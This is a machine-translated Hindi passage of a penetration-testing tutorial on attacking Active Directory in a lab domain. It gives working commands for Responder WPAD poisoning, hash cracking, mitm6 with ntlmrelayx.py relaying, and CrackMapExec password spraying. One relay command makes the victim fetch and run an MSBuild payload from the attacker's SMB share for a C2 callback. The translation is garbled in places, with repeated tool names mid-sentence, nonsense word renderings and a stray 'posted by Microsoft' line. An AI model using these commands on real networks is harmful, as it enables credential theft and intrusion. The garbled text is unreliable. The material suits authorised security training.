Pentest सक्रिय निर्देशिका। भाग 1

लेख का अनुवाद विशेष रूप से पेंटेस्ट के छात्रों के लिए तैयार किया गया था । प्रवेश परीक्षण अभ्यास । "

---

मेरे पास कई ग्राहक थे जो इस विश्वास के साथ कि वे अच्छे आकार में थे, इस विश्वास के साथ मेरे सामने आए, क्योंकि उनके भेद्यता विश्लेषण में महत्वपूर्ण कमजोरियां नहीं दिखाई दी थीं, और वे पंचकोण के लिए तैयार थे, केवल इसलिए कि मुझे डोमेन व्यवस्थापक अधिकार मिल सके पंद्रह मिनट में, AD में कॉन्फ़िगरेशन त्रुटियों का लाभ उठाते हुए।

शिक्षा में अंतराल में से एक जो मुझे पैठ परीक्षण में दिखाई देता है, वह है सक्रिय डायरेक्ट्री पेन्टिंग (AD) के बारे में जागरूकता की कमी। दुर्भाग्य से, OSCP AD परीक्षण नहीं सिखाता है, और यहां तक ​​कि SANS GPEN पाठ्यक्रम शायद ही इसे छूता है। इस श्रृंखला का लक्ष्य कुछ चाल, उपकरण और तकनीकों को प्रदर्शित करने में मदद करना है, जो मैंने अतीत में एडी का उपयोग करके सफल कीटों के लिए किया है। यह प्रत्येक विधि या उपकरण के लिए एक संपूर्ण गाइड नहीं है। इस श्रृंखला के दौरान, मैं काली लिनक्स 2019 का उपयोग करूंगा और वर्चुअल मशीनों के माध्यम से अपने डमी डोमेन में काम करूंगा।

चलो एक लक्ष्य को परिभाषित करके शुरू करें: एक पैठ परीक्षण का लक्ष्य किसी भी संभावित हमले वेक्टर की पहचान करना है जो एक हमलावर एक नेटवर्क में तोड़ने के लिए उपयोग करेगा। यह केवल डोमेन व्यवस्थापक अधिकार प्राप्त करने और फिर लॉग आउट करने के बारे में नहीं है।

अब जब हमारे पास एक लक्ष्य है, तो हमें इसे प्राप्त करने के लिए कई कदम उठाने चाहिए। नीचे पंचिंग चक्र के लिए एक (मोटा) दृश्य गाइड है।


द्वारा पोस्ट किया गया: Microsoft

सारांश : एक क्लाइंट ने आपके नेटवर्क पर पैठ परीक्षण चलाने के लिए आपको काम पर रखा है जो सक्रिय निर्देशिका का उपयोग करता है। आपको कुछ भी नहीं दिया गया है। आपके पास कोई क्रेडेंशियल्स, कोई परीक्षण सीमा नहीं है, सामने के दरवाजे में प्रवेश करने के लिए कोई पास नहीं है, लेकिन आप दरवाजे के माध्यम से किसी के पीछे जाने और आईपी फोन के साथ एकांत कमरे को खोजने का प्रबंधन करते हैं। आप अपने आईपी फोन को अनप्लग करें, अपने लैपटॉप में प्लग करें, और खुद को ऑनलाइन खोजें। आगे क्या है? क्रियान्वयन ।

चरण I | की शुरूआत

क्रेडेंशियल्स के बिना, हम केवल सीमित टोही का संचालन कर सकते हैं, और टोही चक्र के लगभग हर चरण में होगा, हालांकि कई चीजें हैं जो हम नेटवर्क में एक पैर जमाने के लिए अभी कर सकते हैं। सबसे पहले, चूंकि हमारे पास नेटवर्क तक पहुंच है, बस यह जांचें कि हम किस सबनेट पर ifconfig या ipconfig के माध्यम से काम कर रहे हैं। IP पता प्राप्त करने के बाद, यह देखने के लिए कि क्या अन्य डिवाइस उपलब्ध हैं, nmap में पिंग कमांड जारी करें।

nmap -sn 192.168.1.1/24 

यदि उपकरण वापस आते हैं, तो आप व्यवसाय में हैं। यदि आप कुछ भी प्राप्त नहीं कर रहे हैं, तो ICMP को निष्क्रिय किया जा सकता है, नेटवर्क पर कोई अन्य डिवाइस नहीं हैं, या क्योंकि आपको प्रमाणित नहीं किया गया है, आप अन्य उपकरणों के साथ संवाद नहीं कर सकते हैं और एक पहचान सुरक्षा समाधान (उदाहरण के लिए, सिस्को आईएसई) द्वारा अवरुद्ध किया जा सकता है। लेख की खातिर, मान लें कि कई मशीनें वापस लौटती हैं और आप सफलतापूर्वक उन्हें पिंग कर सकते हैं।

---

उपकरण : उत्तरदाता

अगला, हम रिस्पोंडर नामक एक टूल का उपयोग करेंगे, या, यदि आप विंडोज, इनवीघ के प्रति उदासीन नहीं हैं। ये दोनों उपकरण AD कॉन्फ़िगरेशन में एक बहुत ही सामान्य त्रुटि के लिए जाँच करते हैं, जिससे WPAD और NBT-NS को विषाक्त करने की संभावना होती है। डिफ़ॉल्ट रूप से, विंडोज़ को स्वचालित वेब प्रॉक्सी खोज (WPAD) के माध्यम से एक स्वचालित प्रॉक्सी कॉन्फ़िगरेशन फ़ाइल (PAC) की खोज के लिए कॉन्फ़िगर किया गया है। यह नोट करना महत्वपूर्ण है कि WPAD प्रोटोकॉल नहीं है जो खोज करता है, लेकिन सिर्फ प्रक्रियाओं का एक सेट है जो डिवाइस को PAC फ़ाइल खोजने की अनुमति देता है। स्वचालित रूप से एक पीएसी फ़ाइल का पता लगाना संगठनों के लिए उपयोगी है क्योंकि डिवाइस एक प्रॉक्सी फ़ाइल का अनुरोध करते हुए एक प्रसारण भेजेगा और इसे प्राप्त करेगा। हालांकि, निश्चित रूप से, यह प्रमाणित नहीं करता है कि कौन प्रॉक्सी फाइल भेजता है, जिससे हमलावर को नकली प्रतिक्रिया भेजने की अनुमति मिलती है, जो तब क्रेडेंशियल्स के लिए पूछता है।

काली प्रतिक्रिया में डिफ़ॉल्ट रूप से स्थापित किया गया है।

 responder -I eth0 --wpad 

अपने विंडोज 7 कंप्यूटर पर, मैं इंटरनेट एक्सप्लोरर खोलता हूं और Google पर जाता हूं, जो तब WPAD फाइल खोजना शुरू करता है। उत्तरदाता में, मैं देखता हूं कि अनुरोध कैसे आया, जिसके बाद उत्तरदाता स्वचालित रूप से अनुरोध का जवाब देता है, जिसके परिणामस्वरूप पीड़ित अपना उपयोगकर्ता नाम और हैशेड पासवर्ड (NTLMv2 प्रारूप में) भेजता है।



इस हैश के साथ हम कई काम कर सकते हैं। हम इसे ntlmrelay.py जैसे टूल का उपयोग करके इसे हैक या रिले करने का प्रयास कर सकते हैं। मैंने इस लेख में ntlm hashes का अनुवाद कैसे किया जाता है, इस बारे में बात की, इसलिए मैं इसे हैक करने की ओर अग्रसर होऊंगा, जैसा कि आमतौर पर ठीक यही है कि मैं अभ्यास करता हूं।

ईमानदार होने के लिए, मैं शायद ही कभी लिनक्स / काली पर पासवर्ड दरार करता हूं। मैं एनवीडिया जीपीयू का उपयोग करता हूं, जो कभी भी काली पर सही तरीके से स्थापित नहीं होता है, साथ ही विंडोज पर एक हैशटगीयूआई है जो प्रक्रिया को बहुत आसान बनाता है, और यही मैं उपयोग करेगा। मैं परिणामी हैश लेता हूं, इसे "हैशटैक्स" नामक एक फ़ाइल में रखता हूं और उस पर कई वर्डलिस्ट / नियम चलाता हूं । लेकिन इस मामले में, मैंने बस rockyou.txt चलाया और इसे एक सेकंड के लिए हैक कर लिया गया।


HashcatGUI के लिए मेरी सेटिंग्स।


पासवर्ड हैक - "पासवर्ड!"

अब जब हमने पासवर्ड को सफलतापूर्वक क्रैक कर लिया है, तो हमारे पास "ऐलिस: पासवर्ड" क्रेडेंशियल्स हैं!

जारी रखने से पहले, कई अन्य तरीके हैं जो मैं प्रतिक्रिया देने वाले काम नहीं करने की स्थिति में दिखाना चाहूंगा।

---

उपकरण : mitm6

मान लीजिए कि क्लाइंट नेटवर्क एक वैध PAC फ़ाइल का उपयोग करता है, और आपका स्पूफिंग काम नहीं करता है। एक और तरीका है जो लक्ष्य के लिए क्रेडेंशियल पास करने के लिए IPv6 और DNS का उपयोग करता है। डिफ़ॉल्ट रूप से, IPv6 सक्षम है और वास्तव में IPv4 के लिए बेहतर है। इसका मतलब है कि अगर कंप्यूटर में IPv6 DNS सर्वर है, तो वह IPv4 को पसंद करेगा। इसके अलावा, डिफ़ॉल्ट रूप से, विंडोज़ मशीनें DHCPv6 अनुरोधों के माध्यम से एक IPv6 DNS सर्वर की तलाश करती हैं, जिसका अर्थ है कि यदि हम IPv6 DNS सर्वर को नकली करते हैं, तो हम प्रभावी रूप से नियंत्रित कर सकते हैं कि डिवाइस DNS का अनुरोध कैसे करेगा। इसके बारे में यहाँ और पढ़ें।

सबसे पहले mitm6 डाउनलोड करें।

 git clone https://github.com/fox-it/mitm6.git cd mitm6 pip install . 

फिर इसे लक्ष्य नेटवर्क कार्यसमूह पर चलाएँ। चूंकि हमने पहले नेटवर्क को पिंग किया था, इसलिए हमें NetBIOS नाम भी मिले, यह जानकर कि लक्ष्य डोमेन lab.local ।

mitm6 शुरू करने से पहले यह लक्ष्य आईपी सेटिंग्स जैसा mitm6


एक DNS सर्वर पर ध्यान दें
फिर मैंने mitm6 लॉन्च किया

 mitm6 -d lab.local 

और अब DNS सर्वर के लक्ष्य बदल गए हैं


DNS सर्वर के रूप में IPv6 पते पर ध्यान दें।

अब असली भेद्यता यह है कि विंडोज IPv4 के बजाय IPv6 को प्राथमिकता देता है, यानी अब मैं DNS को नियंत्रित करता हूं।

तो अब हम इस तथ्य का उपयोग करते हैं कि हम ntlmrelayx.py माध्यम से WPAD प्रतिक्रियाओं को ntlmrelayx.py करके DNS को नियंत्रित ntlmrelayx.py । मैंने एक गाइड लिखा कि इसे कैसे स्थापित किया जाए।

Mitm6 एक विंडो में चलने के साथ, दूसरा खोलें और ntlmrelayx.py चलाएँ

 ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.128/ -i 

-wh : सर्वर WPAD फ़ाइल (हमलावर आईपी) की मेजबानी
-t : लक्ष्य (आप उसी डिवाइस को क्रेडेंशियल अग्रेषित नहीं कर सकते जो आप बना रहे हैं)
-i : खुला इंटरैक्टिव खोल



यहां से आप अपनी पसंद के नियंत्रण और निगरानी प्रणाली (C2) से जुड़ सकते हैं। इस स्थिति में, मैं SILENTTRINITY का उपयोग करता हूं, इसलिए मैं अपने कमांड को निष्पादित करने के लिए -c कमांड का उपयोग करता हूं, जो इस मामले में मेरे दुर्भावनापूर्ण पेलोड को बनाने के लिए MSBuild का उपयोग करता है।

 ntlmrelayx.py -wh 192.168.218.129 -t smb://192.168.218.50/ --no-smb-server -c 'C:\Windows\Microsoft.NET\Framework64\v3.5\msbuild.exe \\192.168.218.129\SMB\msbuild.xml' 

लेकिन नहीं, msbuild.exe इस मामले में एक XML फ़ाइल नहीं बनाता है, और मुझे SILENTTRINITY का कनेक्शन नहीं मिलता है, क्योंकि यह बहुत सरल होगा। इसके बजाय, मैं अपने एसएमबी सर्वर को देखता हूं और रिले हैश देखता हूं



जिसे मैं बदले में हैक करता हूं।



और अब हमारे पास रिस्पॉन्डर का उपयोग किए बिना नेटवर्क क्रेडेंशियल्स हैं।

---

उपकरण : CrackMapExec

CrackMapExec अनिवार्य रूप से एक स्विस पंचर चाकू है। पासवर्ड स्प्रे हमलों और हैश ट्रांसफर से, कमांड निष्पादित करने के लिए, यह पेंटर्स के लिए उपकरणों के हर सेट में होना चाहिए।

यदि अन्य सभी विफल होते हैं, तो हम एक पासवर्ड स्प्रे हमले का उपयोग करने की कोशिश कर सकते हैं। एक कारण है कि यह विधि अंतिम है, और इसका कारण पासवर्ड लॉक है। पासवर्ड ब्लॉक करना आपके विचार से उतना सामान्य नहीं है, जो एक हमलावर को उपयोगकर्ता नाम से एक शब्दकोश हमले का उपयोग करने की अनुमति देता है। उपयोगकर्ता नाम प्राप्त करना पहला कदम है जो OSINT के माध्यम से और TheHvvester के साथ किया जा सकता है। यदि हमारे पास OSINT से कोई उपयोगकर्ता नाम नहीं है, तो हम CrackMapExec (CME) को उपयोगकर्ता नामों की एक सूची भी दे सकते हैं, लेकिन समय के लिए, मान लेते हैं कि हमारे पास एक उपयोगकर्ता नाम है ।

यदि आप काली में हैं, तो CrackMapExec पहले से ही स्थापित होना चाहिए, यदि आप एक नए संस्करण का उपयोग कर रहे हैं, लेकिन यदि नहीं, तो आप इसे स्थापित कर सकते हैं

 apt-get install crackmapexec 

चूंकि स्कैन के परिणामस्वरूप हमें नेटवर्क पर डिवाइस मिला, हम सीएमई को उपयोगकर्ता नाम के साथ जोड़े गए पासवर्ड की एक सूची दे सकते हैं और सिस्टम में लॉग इन करने का प्रयास कर सकते हैं।

 crackmapexec smb 192.168.218.40 -d lab.local -u rsmith -p ~/Documents/wordlists/fasttrack.txt --shares 

कुछ सेकंड के बाद, पासवर्ड मिल जाता है।



साख मिली!

यह CTF भी दिख सकता है, लेकिन सीजन: वर्ष पासवर्ड का एक अत्यंत लोकप्रिय संयोजन है।

प्राप्त इन क्रेडेंशियल्स के साथ, अब हमारे पास एक उपयोगकर्ता खाता है। हम दूसरे भाग में विशेषाधिकार वृद्धि पर आगे बढ़ेंगे।